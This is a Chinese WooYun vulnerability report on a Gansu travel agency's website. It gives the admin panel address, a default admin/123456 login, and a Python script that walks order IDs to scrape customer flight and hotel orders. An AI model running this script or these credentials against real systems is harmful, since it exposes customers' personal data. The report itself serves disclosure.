当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098607

漏洞标题:某省旅游社机票订单数据+酒店订单数据测漏

相关厂商:甘肃XX旅行社有限公司

漏洞作者: 李旭敏

提交时间:2015-02-27 18:02

修复时间:2015-04-13 18:04

公开时间:2015-04-13 18:04

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-27: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

换个姿势,再来一次

详细说明:

甘肃安翔旅行社
主站是:www.8833333.cn
通过百度得知后台地址为:axjp.8833333.cn

1.jpg


此处有弱口令,user:admin 密码123456
后台可以直接导出订单报表

2.jpg


酒店的也有

4.jpg


还可以修改用户密码和积分,暂不知道积分有何用···重置密码会默认修改为123456

漏洞证明:

除了后台弱口令,还存在遍历的漏洞。
http://axjp.8833333.cn/order/orderinfo.aspx?id=1286
修改id=后面的数字,可以遍历订单信息····写个py脚本
附上POC:

# -*- coding: utf-8 -*-
import urllib2 as url
from bs4 import BeautifulSoup
import re
def parseInfo(html):
sup=BeautifulSoup(html)
table=sup.find('table',{'id':'table6'})
tr=table.find_all('tr')
for a in tr:
patter=str(a)
filter=re.sub(r'(<[^>]+>)','',patter)
result=re.sub(r'\s+','::',filter)
fp=open('result.txt','a')
fp.write(result+"\n")
fp.close()
print result
idc=range(0002,0002+2000)
for id in idc:
target="http://axjp.8833333.cn/order/orderinfo.aspx?id="+str(id)
html=url.urlopen(target).read()
parseInfo(html)


3.jpg


写个脚本筛选一些关键信息然后跑出来···

修复方案:

改掉弱口令,加token

版权声明:转载请注明来源 李旭敏@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2015-04-13 19:21 | Well ( 路人 | Rank:13 漏洞数:5 | 专注python Web渗透)

    传说中的'繁'体字